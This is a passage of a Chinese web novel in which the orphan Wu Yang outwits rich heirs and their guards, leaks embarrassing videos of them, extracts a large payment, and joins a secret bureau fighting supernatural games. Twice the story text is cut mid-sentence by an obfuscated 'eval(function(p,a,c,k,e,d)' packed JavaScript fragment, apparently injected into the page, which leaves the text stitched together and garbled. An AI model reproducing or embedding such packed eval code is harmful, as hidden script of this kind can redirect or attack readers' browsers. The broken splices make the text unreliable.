啊,还真是期待…… 忽然,一声响动,吸引了在二楼探查的三人,唐烽目光一凌,低喝一声:“在那边!” 他往一个方向冲去,李政昱和另一人紧跟着,他们冲进一个卧房,忽然,门被重重一关。 吴恙从外面将门锁住,又拿一旁的木棍顶在门上。 唐烽脸色阴沉得可怕,推那门却推不开,几脚踹上去,明明老旧的木门却坚不可摧:“他故意引我们进来的。” 另一个队友很是疑惑:“他为什么要这么做?” 李政昱长呼一口气,语气里带着藏不住的意外和赞赏:“当然是先困住我们,不,主要还是困住唐烽,再去一一击破其他几人。” 吴恙怎么能那么聪明啊。 他总觉得,从踏入这里,不,或许还要再往前回溯些,对方似乎知道他们会找过来,他们的每一步,都好像是在对方的计划当中。 李政昱除了愤怒外,更多的还是兴奋,吴恙给他太多的惊喜了,让他不由心跳加快,有种快要爱惨对方的错觉。 另一边,祁乐和另外两名雇佣兵在三楼搜寻着,祁乐正想问其他人如何,便发现进入这里后,信号便被屏蔽了。 显然吴恙在这个房子里放了干扰设备。 祁乐立马就明白,他们进入这个房子,在吴恙的意料当中。 “小心些!” 他赶忙出声提醒,毫无征兆下,“咔哒”一声,走廊深处骤然变亮,刺目的强光从尽头猛然射来,犹如一把利刃,瞬间破开黑暗。 这强光来得太突然,三人都被晃得致盲一瞬,那两个雇佣兵反应很快,立刻用手挡住眼睛。 就在这千钧一发之际,一道黑色的人影裹挟着劲风,逆着光如猎豹一般冲了过来,快到他们来不及做出反应。 祁乐心一下子提到嗓子眼,危机令他头皮发紧,还没来得及做什么,便被人一膝盖顶在腹部,他痛呼刚出声,就被一个横扫腿绊倒,像是踢垃圾一样被踢到墙边。 “呃……”祁小少爷痛得眼泪都出来了,他艰难抬起头,便看到那突然窜出的男人已经跟另外两人打起来了。 说是打起来,更像是偷袭,都是趁着人不备迅速撂倒,出手那叫一个狠辣,让人防不胜防。 吴恙目的很直接,偷袭,顺便再抢走麻醉枪。 麻醉枪都是一次只能打一发,他也没空搜寻他们身上有没有藏其他子弹,抢完就一人给了一枪。 祁乐昏迷前忍不住想:很好,本都是要用在吴恙身上的麻醉弹全给自己人了。 一楼搜查的三人,隐隐约约听到打斗声,便往楼上冲去。 在二楼并没有看见唐烽他们,这时,走廊一处的门 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“咳咳我靠,谁家烟雾弹是用胡椒粉做的,阿嚏!” 赫连则被那浓郁的胡椒粉还有其他不知名的刺鼻气味冲得鼻子难受,眼睛也睁不开。 他在心里暗骂吴恙也太阴了,谁能想到对方竟还搞了这一手。 也是他们太小瞧对方,觉得对方就是个身份普通的孤儿,再厉害也是靠着不错的身手和诡异游戏给的技能,然而就是这个轻视,让他们减少了很多防备,才能让吴恙偷袭成功一次又一次。 吴恙戴着个护目镜和防毒面罩,冲进浓雾中,他先是一脚踢在赫连则膝窝处,让其跪倒在地后,又是一个肘击,将其卸了力气,打趴在地。 他的目的性一直很明确,先干倒力量最薄弱的少爷们,再跟雇佣兵们打。 依旧是之前偷袭的招数,趁着那两人被他自制的胡椒烟雾弹迷得够呛,然后将他们的麻醉枪夺走,再一人一枪放晕。 解决完两个比较麻烦的,吴恙缓步走向赫连则,他蹲下身,那双在护目镜后的眼睛微微弯起,倒映的光狡黠又坏心眼。 “本来不想收拾你们的,但谁让你们帮容叙对付我。” 他叹了口气,像是教训做坏事的熊孩子,无奈又真诚:“看,挨揍了吧,以后长点心,别什么人都招惹。” 赫连则用衣服挡住口鼻,可还是被那刺激的味道迷得双眼发酸,身上的疼痛让他勉强回神,他有些恼,也有些不解:“咳咳,你怎么搞到防毒面罩的?” 这玩意不是军用的吗。 吴恙居高临下地扫他一眼,像是鄙视他没见过世面,轻笑一声:“拼夕夕28块9包邮到家,土狗,没见过吧。” “……” 抢走赫连则的麻醉枪后,他让对方也尝到被射麻醉枪的滋味。 吴恙满意地看着倒在地上的三人,他的这场反击,总算实现人人平等,公平分配的正义思想。 招惹他的,一个也跑不了。 他敲了敲唐烽李政昱所在的房间门,像是跟他们打招呼一样,语气懒懒散散:“走了,记得帮我转告容叙,我赢了。” 似是想到什么,他又倒回去说了声:“等其他人醒了,你们才能出去吧,各位,鬼屋冒险愉快。” 李政昱又气又想笑,脸都有些扭曲了。 他大声道:“吴恙,你真以为你能离开这里?” “你不妨去外面看看,看还有多少人等着你。” 吴恙眼神一凌,往外边走去,此时,他才注意到,凶宅外面空旷的地方,全是黑色的面包车,一群拿着铁棍的黑衣保镖将这里围了个水泄不通。 李政昱笑得很开怀,他从二楼的窗户欣赏着外面黑压压的人群和车辆。 从来这里后,他就给飞机上的人下了指令,每隔两分钟他会给个信号,如果信号停了,就立马带人包围这里。 十个普通保镖打不过吴恙,那五百个人呢。 这些可都是他们四家找来最好用最能打的保镖了。 而且,他们从一开始就悄声守在外面。 李政昱还有个目的,拖到五分钟后,吴恙那个能倒流时间五分钟的诡异技能将不再有用。 所以,吴恙,你再能打,能打得过五百个人吗? 吴恙走出凶宅,面对那黑压压的人群,抬头看了眼二楼李政昱所在的位置,两人目光对视。 他看清楚对方张开嘴,无声地说。 吴恙,你输了。 吴恙忽地勾起唇,挑衅地比了个中指。 “等着,哥让你见证奇迹。” 眉眼无畏的青年姿态轻松地站在上百人前,发丝在风中肆意飞舞,他眼眸明亮坚定,始终不落下风,从容不已。 此时的天色已经暗了下来,那一堆堆的人影仿佛黑色潮水,势要将他吞噬。 忽然,几道极为明亮的光从远处升起。 是之前吴恙所用的强光聚光灯。 远处的几束光柱,如破晓利剑,直指天际。 众人不知所以,李政昱眼睁睁看着,那俊朗至极的青年,一个响指,他的身形便化为光点,消失在众人面前。 李政昱瞳孔睁大,脸上也不知道该做什么表情了。 吴恙还有什么手段,竟然真的能离开?! 而踏入光柱所在的空间的吴恙,眺望那离他有一定距离的凶宅方向,缓缓扬起唇。 【技能:明灯的指引[永久]使用结束,冷却时间:6天23小时59分55秒】 这是吴恙在完成【回家的明灯】,帮助变成诡异的老奶奶找到孙女叶婷的奖励技能。 明灯照亮归家的道路,在外的孩子啊,向着光而行吧,明灯永远亮着,等你回家。 13.第 13 章 晨曦微露,城市渐渐苏醒,微光透过云层,将金海市地标之一的摩天大厦拢上一层金光。 街道上,一个行人神色匆匆,带着上班族常有的疲惫麻木,恍惚间望向那顶楼,幻想自己要是一夜暴富就好了。 会不会也能站在那上面俯瞰整座城市。 百米多的高楼将这座城市的阶层划开到极致,那上面的奢靡富裕,仅是一个角,就是许多普通人忙碌一生也无法窥见的。 而凑在一起本应纸醉金迷的少爷们,此时都病态恹恹地各躺在一个真皮沙发上,氛围沉闷至极。 他们每人都带了些伤,最严重的还得是容叙和李政昱。 容叙之前被堵在卫生间里挨了一顿揍,那时候他肋骨就有断的趋势,为了亲自抓到吴恙,他咬着牙给自己打了针肾上腺素,然后兴致冲冲地参与围猎。 结果人没抓到,还被按在地上摩擦,肋骨这下真的断了两根,又挨了三针麻醉,现在整个人都犯着恶心。 李政昱也不好过,半张脸都肿了,青紫一片,要出去被认识的人看到,他在这个圈子的颜面都得扫地。 就祁乐和赫连则稍微好点,毕竟吴恙着急解决他们,也没给他们多来几下重击。 这让容叙和李政昱心里多少有些不平衡。 几个大少爷费了那么大劲,最后得到这么个结果,脸上都不由写满了挫败。 他们都没去医院,生怕被家里人知道,也怕被别的人瞧见,损了豪门大少的尊严。所以此时都颓然躲在这,一起复盘,一起沮丧。 容叙手上还打着吊瓶,他点开平板上的视频看了一遍又一遍,那是无人机拍摄整个过程留下的录像。 他简直不敢相信,从一开始的气愤懊恼,到后面隐隐的折服,他竟觉得,这样的结果,好像也并不那么意外。 毕竟吴恙那家伙总是能带给他冲击,次数多了,还真不得不服。 似乎肋骨更疼了,胸口也更闷了。 容叙疲惫地闭上眼,开始怀疑人生了。 李政昱脸色也不好看,就那样躺在沙发上,什么也没干,就只是盯着一处空地,出神地想些什么。 气氛压抑极了,谁也没想过开口说些什么。 总不能开个总结大会,互相指责下彼此能力不足,连个吴恙都抓不住吧。 四位大少爷各个眼高于顶,从小到大什么都唾手可得,如今联合起来,费了那么大的功夫,竟还是输了。 他们谁都无法接受这个结果,可事实确实如此,打得他们脸疼,骨子里的傲气也被彻底磋磨一顿。 门外响起刷卡的声音,有人进来了。 这个顶层套房,除了他们四个,还有谢观言有房卡。 此时四人最不愿意见的也是谢观言,大家面色难看,躲也来不及躲了。 谢观言缓步走了进来,看到几人的模样,那双向来清冷的眸子浮现出一丝意外。 “你们这是?” 容叙闭着眼,假装睡觉。 其他几人也不想说明缘由,一部分是因为丢脸,也有一部分因为谢观言说过不要去针对吴恙。 谢观言见他们不说话,眉头微微蹙起,声音更冷几分:“你们不说我也知道个大概。” 他是最近在忙,但容叙他们动作那么大,稍微查一下,也能查到这几人的动向。 尤其那天去围堵吴恙的保镖就有五百个,只要他想,还是能撬开其中一个人的嘴。 他不知道这几人究竟为什么要针对吴恙,就算吴恙真的是谢家的人,也轮不到他们插手。 如今看到他们受伤的受伤,颓废的颓废,他猜测应该是跟吴恙有关。 心中思绪微动,他想到那天如风一样,干练又潇洒的青年。 想到什么,谢观言如玉清贵的面容覆上一层冰霜,眸底仿若寒夜,语气是不容置疑的淡漠:“我已经说过不要再针对吴恙,他大概率是谢家在找的人,你们若是再对付他,就是与谢家作对。” 丢下这话,他便转身离开,毫不迟疑,凉薄至极,仿佛身后是无关的人,并不是跟他从小一起长大的朋友们。 待谢观言离开,李政昱意味不明地嗤笑了声:“还真是无情。” 容叙也有些难受,到底是曾放在心上的,对方来后没关心他们的伤,倒是为了别人警告他们一番。 祁乐比较好面子,以往对谢观言的在意此时都被恼怒压了下去,他愤愤不平地嘀咕:“外人不知道,我们还不知道他,不过是谢家的养子,以前都是重视他才让他进我们的圈子,不然他凭什么!” “要是吴恙真是谢家要找的人,就轮不到他谢观言在这高高在上了。” 赫连则不善地看了他一眼:“祁乐,有些话在这里说说就算了,别说到外面去。” 祁乐表情讪讪地闭嘴,也没再说什么。 容叙突然开口:“你们说,吴恙要真是谢家的,以后咱们还怎么对付他啊?” 他想起自己跟吴恙的赌局,想到要当对方小弟,浑身都不自在起来。 啧,好想毁约,又不太敢,怕吴恙再揍他。 容叙从小到大还没这么怵一个人,也是吴恙三番两次地揍他,把他揍怕了。 李政昱轻笑一声:“等谢老爷子咽了气,吴恙就算真是谢家的人又如何,谢观言现在已经掌握了谢家的一切,你们觉得他真会拱手相让?” 就算谢观言一向表现的对什么都没兴趣,但做惯了天之骄子,真的会愿意被人拉下富贵宝座,把自己手心里的权力交出去? 容叙想说自己的心上人确实是出淤泥而不染的高洁品性,但他想起谢观言刚刚的模样,心里又有些埋怨。 一开始他跟吴恙无冤无仇,突然针对吴恙,也是因为看见了吴恙的长相,猜测对方大概率是谢家要找的人,为了谢观言,他宁可错杀也不肯放过。 以至于他跟吴恙斗到今天,把自己弄得一身伤。 结果谢观言不关心就算了,还表现得那么无情。 他突然觉得很没劲,觉得谢观言也没以前那样吸引他了。 容叙又莫名想起吴恙,似乎一想到那人,极致的愤恨和怨念,都会让他的血液沸腾,心脏剧烈跳动。 疯狂的想见对方,想打断对方的骨头,恶狠狠咬上一口,拆吞入腹,将其毁灭并占有。 这是他以前对谢观言都没有的强烈情绪。 脑子早已混乱成一团,容叙都搞不清楚自己的情绪,他恹恹地又点开那个录像,观看吴恙精彩绝伦的反杀。 妈的,确实很精彩,要不是他是输家,他都忍不住给吴恙喝彩了。 祁乐忽然出声,声音里带了些不易察觉的心虚:“容叙,网上关于你的话题爆了。” 容叙微微皱眉,以为是以前那些跟美女吃饭或者开豪车的事上了热搜,便漫不经心地打开娱乐软件。 然而,那热搜榜单上,几个词条刺目的出现在上面,后面都有个黑红的“爆”字。 【容家太子爷,不举!】 【太子爷身份,豪门秘辛叹为观止】 【太子爷不喜欢女人,竟是因为……】 容叙气急败坏地点开,便看见之前吴恙录的那些视频,而那些败坏他名声的秘辛全是此时身边的这几位说出来的。 “不是,吴恙有病吧,他为什么要曝光这些?!” 他不是都输了,要给对方当小弟的吗,当老大怎么这点格局,见面礼就给这个? “不对,这新闻怎么没人压下去?!” 赫连则已经找人去查了,很快便得到消息。 “对方不知道从哪找的几个大v营销号,发出去没多久就爆了,公关那边已经开始压热搜删视频了。” 可惜,删的速度还没传播的速度快,毕竟是顶级豪门的丑闻八卦,网民们吃瓜吃得很是积极,还非常反骨。 你删我一条评论,我就发三条,压是没法压住了,只能拿别的明星网红的丑闻来吸引流量。 他们谁都没想到,就在他们眼皮子底下,吴恙还摆了他们一道。 之前他们觉得吴恙有视频也影响不大,说不定连发出去都难。 但吴恙趁着他们养伤,一下子把事情闹得很大,这让他们四家明面上有了隔阂,很快就会影响到家里的生意。 果不其然,家里人的电话纷纷打了过来,无一例外都是指责。 容叙刚挂了容老爷子的电话,脸黑得跟锅底似的。 他感觉自己真是倒八辈子血霉了,竟然得罪吴恙这个黑心肝的,明明他什么都没讨到好,对方还总能在他栽倒时再给他一脚。 太可恨了! “吴恙……”容少又一次咬牙切齿地想要嚼碎那个名字。 另一边,吴恙叼着根烟,心情很好地挂了电话。 他找了从事媒体的朋友,把之前录的视频交给对方发出去。 吴恙的性格在各行各业都吃得开,他朋友极多,真需要帮忙,自有一堆人乐意出手。 哪怕得罪的是容家,他那朋友也没一点推脱。 至于为什么吴恙突然来这一手,当然是因为他快要收容叙做小弟了,再不报复就来不及了。 总不能把之前的视频浪费了,物尽其用嘛。 男人仰靠在深灰色的沙发上,领口微微敞开,随性又不羁,他一只手自然搭在沙发的扶手上,夹着一支点燃的香烟,缕缕白雾袅袅升腾,像是为他披上了一层薄纱。 他眉眼慵懒,姿态很是漫不经心,薄唇微微勾着,透露出几分似有若无的蔫坏。 他喊来服务员,浅浅一笑:“帮我联系下你们大老板,就说我在这里等他。” “哦对了,我叫吴恙,姓吴,山河无恙的恙。” 吴恙此时,就在容叙名下的Elysian酒吧包间里,他刚刚才在网上坑了容叙几人,此时就直接现身了。 也是够狂够任性。 本来就气急恨不得立马见到吴恙咬死对方的容叙,听到手下人的传话,气得把手机又砸了。 “他怎么敢!他凭什么这么狂啊,啊?!” 容叙都有些跳脚,他此时哪还有容家太子爷平时的风度和傲慢,简直叫一个气急败坏,暴跳如雷。 得知吴恙主动要见面,李政昱眸光闪了闪,他就很理智,知道吴恙的目的。 “他来是履行赌约的,容叙,你不能对他再做什么了。” 容叙咬着牙:“他就不怕我反悔?” 李政昱凉凉看了他一眼:“你可以反悔试试,他应该能杀了你。” 容叙面色僵了僵,愤怒一下子荡然无存,他当然知道吴恙的手段,这几次,只要吴恙愿意,对方随时可以杀了自己。 真正该怕的人,应该是他。 可他还是不甘心,不想这么轻易屈服。 容叙让家庭医生进来,把手上的输液针拔了,他捂着胸口咬牙切齿道:“我倒要看看,他想干什么。” 其实不用想也知道吴恙作为一个赢家肯定是来耀武扬威的,而自己不得不履行赌约,成为对方小弟。 这样屈辱的事,他恨不得闭眼忘记,可想起那人肆意张扬的眉眼,他又忍不住想去见一见。 其他三人神色很是怪异,他们看容叙的目光带了分同情。 上赶着自取其辱,容叙大概率被揍傻了。 “你去吧,我们就不去了。” 三人的想法很坚定,绝不去见吴恙,绝不自找难堪。 容大少爷带着满身的伤,还有断了两肋骨的疼痛叫司机备车,坐上车时脸色就苍白难看得不像话。 所幸Elysian离他们这不远,只用半小时便到了。 容叙这次没带那么多保镖,只带了两心腹,现在吴恙的手段已经威慑到他,让他颓然明白一个道理。 他带再多的人都没有用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“吴恙,你,你……” 太无耻了,吴恙不应该叫吴恙,叫吴耻还差不多!!!哪有人讹钱讹得这么理直气壮,关键还自作主张的涨价。 吴恙双眸一眯,身上气息一凌,那股子杀意瞬间暴露,直逼容叙面门。 “怎么,你想赖账?” 上次‘赖账’后被吴恙摁在水里的画面历历在目,容叙瞬间就怂了,赶忙道:“给,我给!” 一亿五千万,咬咬牙,啧,再咬咬牙,也不是给不了。 容叙简直怕死吴恙突然变脸,之前的惨痛教训,已经让他ptsd了。 他又恨又惧地盯着吴恙,心里窝火又窝囊。 太憋屈了,他容少做到这程度,简直奇耻大辱。 容叙打了个电话,让人去准备一亿五千万,问了吴恙的卡号。 过了会,吴恙的手机翁动一下,他点开,上面是一条转账信息。 【XX银行:您尾号XXXX的银行卡于10月23日11时49分收到网银转账150,000,000.00元。】 吴恙微微挑眉,心情很是愉悦。 虽然他不爱财,但突然暴富的滋味,谁会不喜欢呢。 心情好了,看容叙都顺眼几分,他站起身,潇洒地将杯子里的酒一饮而尽,向容叙隔空敬了下。 “为我们接下来的友谊干杯。” 容叙:“……” 好气啊。 …… 吴恙离开后,找了个僻静的地方,给朋友打去电话:“我一会给你转笔钱,你分给下面的兄弟们,大家伙都帮过我,也该得到些报酬。” 那边笑着答应,然而等吴恙五千万的转账到账后,他的电话又急慌慌打过来,紧张的都破音了:“你抢银行了,这么多钱?” 吴恙轻笑了声,吊儿郎当道:“没啊,收了个小弟,小弟孝敬的。” “啊?你小弟是财神爷?” 吴恙懒懒扬唇,也没解释。 他又给帮他在网上发视频的朋友转了笔钱,还有其他各行各业的朋友。 都是玩得来人品不错的,或许之前没怎么帮过他,但以后说不定会用到呢。条件可以的意思给点,家里有困难的多给些,当然,都算是借的,不用给利息。 想到件事,他又给之前赛车的俱乐部转了笔款,让经理把钱分配给之前死的那几个赛车手的家人。 他们那群玩赛车的,并非有钱才玩,而是给富人当乐子看,风险越大,赚的越多。 他跟死掉的那些人并非过命交情,也只见过几面,但他知道,非正规赛车手死后的保险并不多。 记得有个三十多的大哥,好不容易得了一闺女,结果就被裁员了,现在社会压力大,养个孩子花销不少,他自认为车技不错,咬了咬牙,就来干这个。 结果死在那场迷雾中,死在了诡异游戏里。 反正他现在有钱,能帮就帮点。 他又想起周知鹤那个孩子,学习好,还乖,似乎还有一年就能考上大学了吧,只要没他那父亲拖累,以后肯定会有出息。 吴恙打算过些天去找周知鹤,给他办个资助手续,到时候在银行给对方存一笔钱,每个月可以定时领一部分就行。 就这么规划来规划去,最后一亿五千万只剩下了几百万。 吴恙也没心疼,还有几百万呢,跟彩票中头奖一样,也值得高兴高兴。 他打算去吃顿火锅,犒劳一下自己。 突然,手机响起,是个陌生的号码。 吴恙接起,电话那边传来一道略带威严的中性嗓音:“你好,是吴恙先生吗,我是诡异处理局的局长,周晨安,方便见一面吗?” 14.第 14 章 轻轻推开门,一股子浓烈醇香的麻辣气息扑鼻而来,独属于火锅的香味轻易勾动每一个客人的嗅觉和味蕾。 这是一家挺有名的网红火锅店,一个高挑干练的女人走了进来,很快就有服务员热情迎接: “女士您好,是来就餐的吗,咱们这边几位?” 女人微微颔首,目光淡淡扫向服务员,带了些不怒自威的气势,来这里不像是吃饭,倒像是视察。 服务员心中微凛,猜测不会是哪个市场监管的领导过来检查吧。 正要忐忑说些什么时,女人淡淡道:“我有预约,15桌。” 服务员松了一口气,赶忙扬起笑容给她带路。 周晨安走到15桌时,便见到她资料中的青年正坐在那,眉眼俊朗气质出众,比照片还要好看几分。 对方此时正眼巴巴盯着火锅里咕嘟冒起的泡,并未动筷子,显然在等人。 她走上前,声音沉稳:“你好,我是周晨安,我们电话里聊过。” 吴恙抬头,看见女人时眼里露出些微的诧异,随即一笑:“周局长,你好。” 他顿了下,还是没忍住道:“您跟我想象中不太一样。” 周晨安的声音是那种略微严肃的低沉嗓音,电话里语气也官方得很,所以他以为他会见到一个干练英气的职场女领导。 但事实上,周晨安是个浓妆大美人,红唇大波浪,衣服虽然是简单的衬衫西裤,但穿的恨天高,让她整个人显得高挑又明艳。 长相和声音还真是极强的反差啊。 周晨安微微一笑,身上的那股子威严消散了些,她反问:“你以为我是什么样子的?” 吴恙目光坦然,浅浅一笑:“我以为您会是个严肃干练的职场女精英,抱歉,是我狭隘了。” 女精英可以干练帅气,也可以美艳动人,他自知自己带了刻板印象,所以感到些许歉意。 吴恙起身,态度十分诚恳地邀请对方坐下:“为了表达我的歉意,我请客。” 他本来就有请客的打算,毕竟刚刚赚了一笔,不差钱。 周晨安欣然坐下,眼里毫不掩饰对青年的欣赏。 “吴恙,你真是个聪明人。” 她不是没见过巴结奉承的,但像吴恙这样一气呵成毫无破绽的讨好,她倒是少见。 估计对方也在盘算着她一个特殊组织的人要跟他见面有什么目的,但不管怎样,先留个好印象,后面交流起来就不难应对。 吴恙意识到自己被揭穿,也没尴尬,十分自然地笑了笑,便喊服务员拿菜单。 他将菜单递给对方,还挺有绅士的范儿:“我已经点了些,您看您还喜欢吃什么,直接点。” 周晨安扫了眼桌子上的食物,不少,微微颔首:“不用再点了,这些就够了。” 她来这目的本就不是为了吃饭,要不是吴恙说要吃饭,她也不会把见面地点约在这。 本来可以耐心等待,但局里缺人,又有唐烽打包票,她便亲自过来,也算是表达自己的重视。 吴恙对这位领导的目的也心存疑虑,但他并不会因为这影响吃饭。 对方有什么心思自然会说出来,此刻最重要的还是面前的火锅,他刚刚在等待中闻着飘香的牛油麻辣锅底已经快馋死了。 所以他非常认真地涮肉开吃,吃得津津有味。 周晨安本来过来就是谈事,但见吴恙吃得很香,便先放下要事,跟着一起吃了起来。 吴恙吃得很快,还很专注,吃相并不难看,甚至让人看着很有食欲,而且那张脸也帅,这一会,就有好几桌的客人频频望过来。 周晨安心想,要不是自己在,怕是早有人上来要联系方式了。 她看着吴恙吃饭的样子,心里已经开始思考如何劝说对方加入。 吴恙的社会资料她已经全部阅览过,孤儿出生,年仅二十五岁,初中学历。 从小经历了不少苦难,被排挤欺负,靠着打架成了一帮小孩的老大,后来又差点被“捐献”器官,孤儿院倒了后靠着国家补助上到初中毕业。 没钱继续上学,就在社会里当混混,打过地下拳赛,也当过不正规赌局里的赛车手,几乎灰色地带里所有能赚钱的方式都被他尝试个遍。 局里的心理专家分析,这样的人童年阴影太大,十之八九有报复社会的倾向。 结合着唐烽之前拿回的录像看,吴恙仅靠着一个人,将几个顶级豪门的公子哥耍得团团转,还将他们一整个小队都打败了,这样的人,是绝不能置之不顾的。 而且,对方身上,还有很厉害的诡异技能。 周晨安见吴恙吃得差不多,眉眼惬意,有种吃饱后的餍足慵懒感,此时一定是对方最放松的时刻。 她缓缓开口:“之前在电话里跟你说过我的身份,我这次来见你,是想邀请你加入的。” 吴恙微微挑眉,虽然心里猜到些,但还是很好奇:“为什么是我?” 周围是嘈杂的人声,还有人来人往的客人,并不适合谈重要的事,所以周晨安建议:“我们换个地方谈吧。” 吴恙点头,结完账后,便跟着对方去了个私密性不错的茶楼。 周晨安经常在这里谈事,轻车熟路地带着吴恙进了个安静的茶房,保证没人会听到后,便开诚布公道: “我们查到你已经可以使用诡异技能,应该也通关过那诡异游戏了。 我们诡异处理局就是专门处理诡异异端的,现在我局人手并不多,未来诡异事件将会越发频繁,此项工作必将关系人类命运,需要有能力的人加入,吴恙,你很优秀,所以我真诚邀请你。” “工资待遇一定是国家内最高规格,加入我们,你的安全会有一定保障,若是做出杰出贡献还能获授勋章。 五险一金,带薪年假,节日福利,体制内介绍对象,团队聚餐,应有尽有,让你在工作之余感受家一般的温暖和凝聚,当然,你还有什么条件,都可以讲。” 周晨安一连串的话毫无停顿,她说得很是诚恳,就连看着吴恙的目光都带着期待和看重。 一个特殊组织的大领导,这样看谁谁不得热血上头,立马就抛头颅洒热血啊。 心理专家说过,吴恙这样的人性子缺爱,一定很需要社会认同感,只要给他信任,尊重,说不定能将他不稳定的性子掰正。 吴恙听完后,眼里依旧清明,并未受对方的话任何影响。 他扬起眉梢,笑了:“不好意思啊领导,我不想上班。” 周晨安赶忙道:“没关系,你可以不用坐班,就只用挂个职,需要你的时候会通知你,没事的时候你想做什么都行,只用配合我们的工作就行。” “放心,工资待遇不变。” 吴恙一只手撑着下巴,脸上露出几分感兴趣,他思考了下,话锋一转:“周局长,能告诉我,您跟唐烽的关系吗,他也是诡异处理局的?” 周晨安身上的气质,他最近只在一个人身上见过,那个雇佣兵小队的队长。 哦,为什么知道名字,当然是让他的朋友帮忙查的,能被容叙看重使用的,应该也有些名气。 只有对方见过他的能力,所以眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴恙年纪轻轻,就已经在社会上摸爬滚打那多年,估计心早硬得跟磐石一样,哪会这么容易被她三言两语就打动。 她一开始就想着用利益引诱,又或者情怀拉拢,但看着都不怎么成功。 吴恙这样一个有很大能力,又极其不稳定的因素,是绝对不能放任的,若是对方不愿意加入,未来他们也得多加监视。 总归是令人头疼。 周晨安还不死心,又忍不住道:“你真的不想加入我们,和我们一起拯救这个濒临破坏的世界吗?” 她也是着急了,竟拿拯救世界这种哄骗小孩的理由去吸引一个曾被世界伤害过,在泥沼一样的社会里挣扎数年的青年。 她记得有个调查数据显示,当代有百分之七十的年轻人都希望世界毁灭,这样就不用上班/学习/还房贷车贷了。 周晨安在心里叹息了声,想再说点别的找补一下,却听到对面的青年斩钉截铁的回答。 “好,我加入。” 女人错愕抬头,便看见那青年眉眼自在随性,嘴角轻扬,明明帅得又痞又邪,却浑然一股正气和明朗在他眼中熠熠生辉。 “你加入?” 怎么突然就答应了? 周晨安有些不确定,刚刚吴恙还一副很没兴趣的模样,总不能因为那句拯救世界就答应了吧。 吴恙收起笑,坐姿端正起来,很认真地看向周晨安。 “是的,周局长,我加入。” 他刚刚也想开了,或许加入是有些不自由,但背靠国家,得到的消息多,也知道自己力气该往哪使。 而且拯救世界做大英雄,不就是他小时候的梦想。 吴恙从不觉得,世界以痛吻我,作为主角,他所经历的挫折,磨难,都一定是他该面对的阶梯,跨过这个阶梯,他会更强大,也更自信。 蜘蛛侠里有一句话说,能力越大,责任越大。 他倒没什么责任感,但有能力解决眼前看到的苦难,那他一定会做。 15.第 15 章 熙攘喧嚣的街道,这处位于市中心寸土寸金的地方,一个门面不大的安保公司矗立在各大顶奢品牌旗舰店中间。 它的招牌只简单镌刻了几个字,分外朴实无华。 正道安保公司。 吴恙目光落在上面,停滞了好几秒,总算开口。 “咱组织还怪低调的。” 周晨安微微颔首:“诡异处理局无法公之于众,便用了安保公司的名义,这里是城市中心,去哪都方便。” 确实方便,这边街道是限制车牌号进出的,不会堵车,拐出去便是国道。 但在这开店,一天的花销跟流水似的,也就国家有这个资本在这里开个不赚钱的安保公司。 不过,吴恙打量着夹在精致顶奢店中间的安保公司,怎么看都格格不入。 但他没再说什么,跟着周晨安一起走了进去。 一楼是普通的公司布置,前台区域并不大,一张简洁的木质接待台摆放在正前方。 前台是个打扮青春的年轻女生,正玩着手机,抬头看见他们时,愉快地打了声招呼:“周总。” 看见吴恙时,那女生眼里放光:“这位是?” 周晨安给他们互相介绍了下。 女生也是诡异处理局的一员,叫赖小萌,大学刚毕业,半年前参与诡异游戏后侥幸通关,怀着惶恐不安的心情报了警,之后便被诡异处理局收编。 对于吴恙的介绍,周晨安就很简洁:“吴恙,新同事。” 吴恙对赖小萌礼貌点头,他的表情很平静,没拘谨,也没热切,长得那么帅,身高腿长的,浑身透着一股子洒脱不羁。 一个年轻的大帅哥,还是新同事,搁平时赖小萌早想认识一下了,但忽然的,她好像看到了一座孤岛,被无尽冰冷的海水环绕,似是隔绝开一切,危险又疏离,只一眼,便让她驻足,不敢靠近。 她的诡异技能,【感知】,会无缘由的被动性使用。 【感知】可以让她看到一个人灵魂深处,虽然片面,但总能让她快速了解到一个人。 吴恙给她的感觉是孤独的,漠然的,仿佛不在意世间一切,就那么遗世独立地活着,无畏无欲无求。 她也见过孤独的人,可又没吴恙这样危险,让人心中莫名产生敬畏。 赖小萌抿着唇,望着跟周晨安离开的青年,眼神复杂。 周晨安带着吴恙参观了下里面,整个诡异处理局并不大,他见到的人数竟不到十人,这让他有些懵。 他以为他加入的特殊组织会是那种科幻电影里,表面平平无奇的建筑,迈入里面便会通过散发着蓝光的白金电梯,随后他会看到一整片庞大的高科技地下世界,到处穿梭着科研人员和武装精英。 然而,被周晨安带着认识了全部组员,把这里转了一遍后,吴恙才反应过来。 “就这?” 周晨安微微侧目,语调严肃:“就这,这里的所有人,就是诡异处理局的全部成员了。” 吴恙感觉自己似乎受到了欺骗,他匪夷所思地再看了眼室内,不确定道:“你们就这点人?” 这点人来谈拯救世界? 周晨安苦笑了下,满是歉意道:“抱歉,之前没跟你说清楚局里的情况。” 接下来,吴恙才算了解到这个组织的现状。 诡异处理局成立已经三年,但因为诡异事件发生概率太低,尤其是,他们无从寻找诡异,这种东西没有征兆,没有指向,就算发生过也不一定有人知道。 很长时间里,整个组织进入过诡异游戏并且通关成功保留记忆的人只有周晨安一人。 若不是她有诡异技能证明,几乎没人会相信,这个世界有诡异的存在。 一开始成立这个部门,也是专门来研究诡异的,但找不到诡异,就只能先研究起周晨安来,他们也调来了不少特殊部队的人全城搜寻,主动探索诡异游戏。 可惜一切都收效甚微,所以诡异处理局又渐渐不被重视,大部分人员被调离。 直到近几个月,诡异游戏出现的频率变多,也有不少通关游戏保存了记忆的人,让诡异的存在再次被证明。 快被忘之脑后的部门再次被启用,只不过前端时间发生了一场大事,周晨安便拒绝再调人手过来。 她要亲自挑选组员。 挑到现在,整个局子里的人还不到十人,还真是让人一眼看不到未来。 吴恙沉默,随后又放平心态。 好吧,已经决定的事,也没必要反悔。 周晨安拍了拍他的肩膀,语重心长道:“我知道你在担心什么,诡异的出现我们目前还没办法预知或者探索,就连出现过也不一定会知道,所以现在局里的工作量并不大。 